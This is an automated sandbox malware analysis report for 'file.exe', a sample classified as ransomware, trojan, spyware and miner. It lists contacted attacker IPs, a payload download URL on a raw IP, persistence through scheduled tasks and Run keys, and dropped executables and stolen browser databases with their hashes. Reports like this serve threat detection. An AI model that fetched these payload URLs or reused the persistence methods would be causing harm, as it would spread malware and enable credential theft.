https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.000000000082A000.00000040.00000001.01000000.00000012.sdmp	false
http://147.45.44.104/yuop/66e197066b3e8_xin.exe#xinh	RegAsm.exe, 00000001.00000002.2110880630.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	false
http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	D4wpDprTNebjzitxM8NmQjMu.exe, 0000000A.00000002.3236960709.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/numbering	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
http://147.45.44.104/yuop/66e197066b3e8_xin.exe#xinq	RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
37.153.95.99	fallaeltro.es	Spain	60494	UNELINKES	false
176.113.115.33	unknown	Russian Federation	49505	SELECTELRU	false
45.91.202.63	unknown	Netherlands	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
31.41.244.9	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
185.196.8.214	unknown	Switzerland	34888	SIMPLECARRER2IT	true
45.91.200.135	unknown	Netherlands	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
149.154.167.99	unknown	United Kingdom	62041	TELEGRAMRU	false
176.113.115.187	unknown	Russian Federation	49505	SELECTELRU	false
5.75.214.132	unknown	Germany	24940	HETZNER-ASDE	true
172.67.74.161	unknown	United States	13335	CLOUDFLARENETUS	false
147.45.126.10	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
76.76.21.61	file-link-iota.vercel.app	United States	16509	AMAZON-02US	false
212.113.116.202	unknown	Russian Federation	6672	ASRELCOMSPBRU	true
77.105.164.24	unknown	Russian Federation	43176	ICOMF-ASRU	true
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
20.189.173.20	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
194.87.248.136	unknown	Russian Federation	20853	ETOP-ASPL	true
158.69.225.124	youtransfer.net	Canada	16276	OVHFR	false
91.211.247.248	unknown	Lithuania	61053	VPSNET-ASLT	false
104.237.62.213	api64.ipify.org	United States	18450	WEBNXUS	false
184.28.90.27	unknown	United States	16625	AKAMAI-ASUS	false
185.215.113.103	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
89.105.201.183	unknown	Netherlands	24875	NOVOSERVE-ASNL	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1509442
Start date and time:	2024-09-11 16:21:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	61
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.mine.winEXE@106/173@6/26
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, PID 3060 because it is empty
Execution Graph export aborted for target T1kEdFsnxciHVYBeHqJvMP2Q.exe, PID 2084 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
10:22:40	API Interceptor	80x Sleep call for process: RegAsm.exe modified
10:22:43	API Interceptor	1x Sleep call for process: Kra4UjTOv3M2ogVWTG9TXvYP.exe modified
10:22:46	API Interceptor	1x Sleep call for process: DUGO48VDeAcOvTvqkkCJ3EIG.exe modified
10:22:46	API Interceptor	1x Sleep call for process: YPlv8euR9KnvHnqn8UAA5AHQ.exe modified
10:22:49	API Interceptor	2x Sleep call for process: svchost.exe modified
10:22:49	API Interceptor	1x Sleep call for process: WT1f5JwoYdslX1xK50iSTvoU.exe modified
10:22:52	API Interceptor	1x Sleep call for process: WWMeRq3HihRV9YRKtaMBDHoA.exe modified
10:22:53	API Interceptor	3x Sleep call for process: Vwagc2Gf16eP8XIbenmQEOda.exe modified
10:22:58	API Interceptor	1686x Sleep call for process: Mk75cxC4KyOkgnwZzE1K_RlU.exe modified
10:23:14	API Interceptor	1x Sleep call for process: WerFault.exe modified
10:23:28	API Interceptor	65x Sleep call for process: batchaviconverter32.exe modified
15:22:54	Task Scheduler	Run new task: jewkkwnf HR path: C:\ProgramData\jewkkwnf\jewkkwnf.exe
15:22:56	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6 C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe
15:22:57	Task Scheduler	Run new task: jewkkwnf LG path: C:\ProgramData\jewkkwnf\jewkkwnf.exe
15:23:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6 C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe
15:23:20	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk
15:24:46	Task Scheduler	Run new task: Compaq path: wscript s>//B "C:\Users\user\AppData\Local\ScanTech Innovations\ScanMaster.js"
15:24:46	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
15:24:47	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ScanMaster.url

Process:	C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFIDGDBGCA.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	289832
Entropy (8bit):	7.984760952741452
Encrypted:	false
SSDEEP:	6144:ZORZ5iWXTuglvdAAOFwTE6ybVykLN0C+gpQzmjoqPI1o7JFVn/DbyH0EO:ZQZ5iWZxOeTiVMCxQSjohqtF1yUEO
MD5:	E1001C8649AC77FAEB446D8FF91F50D2
SHA1:	C2532C7B108AC61CA439CFD0A7992B26C89DC34B
SHA-256:	05D5D2F7E1270D38D47870C349D22A7E02C9682BA123B1B5E8AE1AA4E3554087
SHA-512:	A55BFA7EAFCA3306E51BD0E1100E46EA407F4451332FCCE2772788A25E77D9B968A2FFC934CC05FC9117A1AB8DDADE1F15E61CDD35341EE8D977721BB4FB178F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 18%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....).f.................<..........^[... ...`....@.. ....................................`..................................[..K....`...............F..(&...........Y............................................... ............... ..H............text...d;... ...<.................. ..`.rsrc........`.......>..............@..@.reloc...............D..............@..B................@[......H.......pL..h...........................................................\.b.;1i3?....&..M....}.]...I..u.....).g......j...b..UZA2F..r..r..X.j...'J.$NL.0~._...0x.T..<)...........5..7C]=.....Z././.m....?l...h.(..,w.B.)...........dT.e1=.w..[.Z.d6<......y ...6*y.c..v.u.Y...<..<.3V.%.fq.O..8...Nl...lq..$.....PQ..w(..o...i.C.]y"..'g..H.a.M.......p<.W...Z2],..d.\|.\5;!..._...q<c3.a&.+Z..GpY..+...3.A.....X{..\.q.[.........q....v.H..0}..a2@?.asC.....O./.c..{.

C:\ProgramData\AKFCBFHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGCAFHCAKFBFIECAFIIJKKJEGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKFBAECBAEGDGDHIEHIJJEBFHD

Download File

Process:	C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAEHJEBKFCAKKFIEHDBF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CAKEBFCFIJJKKECAKJEH

Download File

Process:	C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DAAAKFHI

Download File

Process:	C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBAEHCGHIIIDHIECFHJD

Download File

Process:	C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DKIM Authenticator lib 9.11.45\DKIM Authenticator lib 9.11.45.exe

Download File

Process:	C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2240363
Entropy (8bit):	6.846731775974463
Encrypted:	false
SSDEEP:	24576:TLyOMiPFsuU62LRH8gVoSy6KaQ7xv0e/ES/z+Uo7rj8a6w7zY0eRvhLS1XbunbdV:3yqPjU62Lx8gVoARtvFhFXSMwE2
MD5:	E758DD44C9B639C327EE3DD035D84E2D
SHA1:	3DFF74C5B70B558D6C518F54E6AD276CB4DF47B6
SHA-256:	DFD90694F15EA09297C1558B8EE9709B51F862B66987FC03C1E9875556B42DFB
SHA-512:	8F79206B32FDCC44DD0A3FDC1D6E548713CD4A3F61A092066FE6768FCDC1EEAC29BEDD362D69DDF0C3D70F45135F7D1ACF3D2F89D3EA01566491B10ACDBA6677
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...HN.L.........."......P...0.......X.......`....@..........................P".............................................4i..T.......0............................................................................`...............................text...lJ.......P.................. ..`_areg_3.p;...`...@...`..............@..@.data...8 ..........................@....rsrc...............................@..@_breg_3.........k....p..............a...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAEGHIJEHJDHIDHIDAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGDGIEGH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIDHCBGDHJK\AEBKEC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIDHCBGDHJK\IDGDAA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIIJEBAECGCBKECAAAEBFBGHJJ

Download File

Process:	C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIJJKKJJDAAAAAKFHJJDGDAFBA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIJKKKFCFHCFIECBGDHIDHIEGI

Download File

Process:	C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
